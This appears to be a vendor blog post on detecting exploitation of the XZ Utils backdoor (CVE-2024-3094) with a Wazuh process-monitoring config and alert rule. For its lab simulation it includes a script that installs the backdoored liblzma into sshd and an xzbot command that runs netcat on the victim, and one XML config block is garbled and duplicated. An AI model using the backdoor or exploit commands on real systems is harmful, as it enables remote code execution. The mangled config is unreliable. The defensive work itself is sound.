Detecting exploitation of XZ Utils vulnerability (CVE-2024-3094) with Wazuh
In March 2024, a backdoor was detected within XZ Utils, earning the designation CVE-2024-3094. The vulnerability has a CVSS score of 10, indicating its potential for critical impact if exploited. The vulnerability affects XZ versions 5.6.0 and 5.6.1 and presents a serious threat to endpoints that run Unix-like operating systems.
Previously, we detailed how to identify these vulnerable packages in our blog post titled Detecting XZ Utils vulnerability (CVE-2024-3094) with Wazuh. Our proactive approach involved enabling the Wazuh Vulnerability detector module to scan monitored endpoints for susceptible versions of XZ Utils. This strategy facilitates swift detection and patching of vulnerabilities, mitigating the risk of exploitation.
In addition to detecting vulnerable packages, it’s important to detect potential attacks seeking to exploit the XZ Utils vulnerability. As highlighted in our earlier post, CVE-2024-3094 could enable unauthorized remote code execution (RCE) via SSH. Proof of concept (PoC) projects available online demonstrate how to exploit this vulnerability. One notable PoC repository is amlweems/xzbot, which allows users to set up honeypots and vulnerable servers, and execute exploits.
In this blog post, we aim to detect the exploitation of CVE-2024-3094 via SSH with Wazuh. Our approach involves understanding the indicators of compromise (IoCs) or behavioral patterns exhibited by endpoints when this vulnerability is exploited. With our understanding of the IoCs, we can then develop effective detection logic within Wazuh.
Indicators of Compromise (IoCs)
Remote code execution vulnerabilities grant threat actors the ability to execute commands upon gaining unauthorized access. In the case of CVE-2024-3094 exploitation, each command execution initiates a new process. Commands executed via the SSH service are expected to initiate as child processes, grandchild processes, or further descendants of the SSH server process (sshd).
To identify exploitation attempts, we first understand the characteristics of legitimate sshd processes. Subsequently, we analyze the patterns exhibited by processes spawned by exploiting the CVE-2024-3094 vulnerability. This analysis enables us to identify anomalous behavior indicative of potential compromise.
Benign sshd child processes
Below, we show a process tree of benign descendant processes created by sshd with process ID 35784.
# ps -ef --forest UID PID PPID C STIME TTY TIME CMD ... root 35784 1862 0 17:48 pts/1 00:00:00 \_ sshd: /usr/sbin/sshd - root 35865 35784 0 17:51 ? 00:00:00 \_ sshd: user1 [priv] user1 35869 35865 0 17:52 ? 00:00:00 | \_ sshd: user1@pts/3 user1 35870 35869 0 17:52 pts/3 00:00:00 | \_ -bash user1 35972 35870 0 17:52 pts/3 00:00:00 | \_ sleep 120 root 35933 35784 1 17:52 ? 00:00:00 \_ sshd: user1 [priv] user1 35945 35933 0 17:52 ? 00:00:00 \_ sshd: user1@pts/4 user1 35946 35945 0 17:52 pts/4 00:00:00 \_ -bash user1 35987 35946 0 17:52 pts/4 00:00:00 \_ ps -ef --forest
The output in the above example shows two open SSH sessions, including:
- Process ID
35869logged in byuser1and connected to thepts/3pseudo-terminal. - Process ID
35945is also logged in byuser1and connected to thepts/4pseudo-terminal.
In summary, the benign SSH child processes are associated with sshd pseudo-terminals, and a shell session (Bash, Sh, etc.) is usually created as a child process of the pseudo-terminal for user interaction and session management.
Suspicious sshd child processes
To analyze a known malicious sshd child process, we exploit the CVE-2024-3094 vulnerability via SSH using amlweems/xzbot. The following is an example of the process tree when we exploit the vulnerability to execute the sleep 120 command:
# ps -ef --forest UID PID PPID C STIME TTY TIME CMD ... root 35784 1862 0 17:48 pts/1 00:00:00 \_ sshd: /usr/sbin/sshd - root 36184 35784 2 18:02 ? 00:00:00 \_ sshd: root [priv] sshd 36185 36184 0 18:02 ? 00:00:00 \_ sshd: root [net] root 36186 36184 0 18:02 ? 00:00:00 \_ sleep 120
Notice that sleep 120 is a child process of sshd (process ID 36184) and is neither associated with a pseudo-terminal nor a shell session as seen in benign processes.
In summary, a process like sleep 120 which is a child of an sshd process but not associated with an sshd pseudo-terminal or shell session is suspicious.
Additionally, threat actors may run commands via shell interpreters such as sh or Bash.
# ps -ef --forest UID PID PPID C STIME TTY TIME CMD ... root 35784 1862 0 17:48 pts/1 00:00:00 \_ sshd: /usr/sbin/sshd - root 37112 35784 2 18:12 ? 00:00:00 \_ sshd: root [priv] sshd 37185 37112 0 18:12 ? 00:00:00 \_ sshd: root [net] root 37186 37112 0 18:12 ? 00:00:00 \_ sh -c sleep 120 root 36187 37186 0 18:12 ? 00:00:00 \_ sleep 120
According to our established logic, this is also suspicious because it is not associated with a parent sshd pseudo-terminal.
Configure Wazuh to detect exploitation
We use the Wazuh Logcollector module to collect and forward logs about running processes from monitored endpoints to the Wazuh server for analysis. This module executes predefined commands on monitored endpoints and processes the command output like regular log data. To specifically target and identify potential exploitation of CVE-2024-3094, we configure the Wazuh Logcollector module to execute the ps command on each monitored endpoint at a predefined time interval.
Requirements
- A deployment of the Wazuh 4.7.4 central components (Wazuh server, Wazuh indexer, and Wazuh dashboard). Follow the Virtual Machine (OVA) – Installation guide to download and set up the Wazuh virtual machine.
- Install the Wazuh agent on your Linux endpoints. To simulate the attack and test the detection logic created in this blog post, we use a Fedora 40 endpoint as the victim endpoint.
- An Ubuntu 22 endpoint with Docker installed. This endpoint is the launch pad for attacks against the Fedora endpoint during the simulation.
Wazuh agent configuration
Perform the following actions on your Linux endpoint to use the Wazuh Logcollector module to identify suspicious sshd descendant processes. You need to add the configuration to the Fedora 40 victim endpoint for the simulation.
1. Add the following configuration to the /var/ossec/etc/ossec.conf file on the monitored Linux endpoint to execute the commands within the <command> tag:
<ossec_config>
<localfile>
<log_format>full_command</log_format>
<command>ps -ef | grep -w 'sshd' | grep -v pts | awk '{print
full_command
ps -ef | grep -w 'sshd' | grep -v pts | awk '{print $2}' | while read pid; do ps --ppid $pid -f; done | grep -v '^UID' | grep -v -E 'sshd: \S+@pts/[0-9]+|sshd: \S+ \[\S+\]'
sshd_child_processes
60
}' | while read pid; do ps --ppid $pid -f; done | grep -v '^UID' | grep -v -E 'sshd: \S+@pts/[0-9]+|sshd: \S+ \[\S+\]'</command>
<alias>sshd_child_processes</alias>
<frequency>60</frequency>
</localfile>
</ossec_config>
The configured <command> shows a list of sshd descendant processes that are not associated with pseudo-terminals.
The <frequency> tag configures the Wazuh agent to execute the pre-defined command every 60 seconds. You can configure it to run at intervals of your choice.
The <alias> adds the string sshd_child_processes to the generated log data. This is useful for more efficient rule matching.
2. Restart the Wazuh agent to apply the changes:
# systemctl restart wazuh-agent
Wazuh server configuration
Perform the following steps to configure the Wazuh server to trigger alerts when suspicious processes are detected:
1. Add the following rule to the /var/ossec/etc/rules/local_rules.xml file on the Wazuh server:
<group name="sshd_child_process_monitor,">
<rule id="100010" level="12" ignore="60">
<if_sid>530</if_sid>
<match>^ossec: output: 'sshd_child_processes'</match>
<regex type="pcre2">\S+\s+\d+\s+\d+\s+\d+\s+\S+\s+\S+\s+\S+\s+(?!sshd:|unix_chkpwd)</regex>
<description>sshd started a suspicious child process. Potential CVE-2024-3094 vulnerability exploited.</description>
<mitre>
<id>T1210</id>
<id>T1190</id>
<id>T1195</id>
</mitre>
</rule>
</group>
The rule matches events generated by the Wazuh Logcollector module containing the string sshd_child_processes.
2. Restart the Wazuh manager to apply the rule:
# systemctl restart wazuh-manager
Simulate an attack
In this section, we make the Fedora endpoint vulnerable to CVE-2024-3094 and then use the Ubuntu endpoint to exploit the vulnerability.
Make the Fedora 40 endpoint vulnerable
1. Save the following script as weaken_fedora.sh in the /root directory of your Fedora test endpoint.
#!/bin/bash # Install dependencies dnf -y groupinstall "Development Tools" dnf -y install systemd xz git openssh-server openssl-devel openssl python3-pip go automake autoconf netcat pip3 install virtualenv pwntools # Download vulnerable XZ package cd ~ git clone https://github.com/awwalquan/xz-archive.git cd xz-archive/5.6/ tar xzf xz-5.6.0.tar.gz mv xz-5.6.0 ~ export RPM_ARCH=$(uname -m) cd ~ # Replace the content of line 25655 in ./xz-5.6.0/configure to save output to script1.sh sed -i '/"build-to-host":C) eval $gl_config_gt | $SHELL 2>\/dev\/null ;;/c\ "build-to-host":C)eval $gl_config_gt > script1.sh ;;' ./xz-5.6.0/configure # Prepare the project for compilation cd ./xz-5.6.0/ ./configure chmod +x script1.sh ./script1.sh # Compile the project make cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~ # Patch the backdoor into liblzma cd ~ git clone https://github.com/awwalquan/xzbot.git python3 ./xzbot/patch.py liblzma.so.5.6.0 # Inject the malicious library in the ssh deomon cp liblzma.so.5.6.0.patch /lib64/ cd /lib64/ ls -altr | grep liblzma ln -fs liblzma.so.5.6.0.patch liblzma.so ln -fs liblzma.so.5.6.0.patch liblzma.so.5 ls -altr | grep liblzma # Start the vulnerable sshd ssh-keygen -A env -i LANG=C /usr/sbin/sshd -D &
2. Make the script executable and run it with root privileges to make the Fedora endpoint vulnerable to CVE-2024-3094 and make the SSH service exploitable:
# cd /root # chmod +x /root/weaken_fedora.sh # /root/weaken_fedora.sh
Launch the attack from the Ubuntu endpoint
Run the following command on the Ubuntu endpoint to exploit the vulnerability:
# docker run -it --rm golang:latest /bin/bash -c "mkdir -p /xzbot && pushd /xzbot/ && git clone https://github.com/awwalquan/xzbot.git && ls -laF && pushd ./xzbot/ && go build -o /xzbot/tmp/; popd && /xzbot/tmp/xzbot -h && /xzbot/tmp/xzbot -addr <FEDORA_ENDPOINT>:22 -cmd 'nc -lv 1234'"
Replace <FEDORA_ENDPOINT> with the IP address of your Fedora endpoint. The -cmd parameter contains the command we wish to execute on the victim endpoint. In this case, we use Netcat to open a reverse shell listening on port 1234 on the Fedora endpoint.
The following alerts appear on the Wazuh dashboard when we exploit the vulnerability.
We have two relevant alerts in the image.
- The alert with rule ID
533is triggered based on an in-built Wazuh rule that detects when new network ports are opened on an endpoint. The simulated attack opened a reverse shell on port 1234, hence the alert. - The second alert from rule ID
100010is based on the custom rule we created to detect when sshd spawns a suspicious child process.
You can click on the alert from rule 100010 to expand it and view the full log that triggered it.
Conclusion
Detecting and mitigating vulnerabilities such as CVE-2024-3094 within XZ Utils are crucial steps in safeguarding endpoints against potential exploitation. By proactively identifying vulnerable packages and understanding indicators of compromise (IoCs), organizations can effectively detect and respond to exploitation attempts.
By configuring Wazuh to monitor and analyze SSH processes for anomalous activities, such as the spawning of suspicious child processes, organizations can swiftly detect and respond to potential exploitation attempts.
In summary, combining proactive vulnerability management and continuous monitoring enables organizations to enhance their overall cybersecurity posture.
References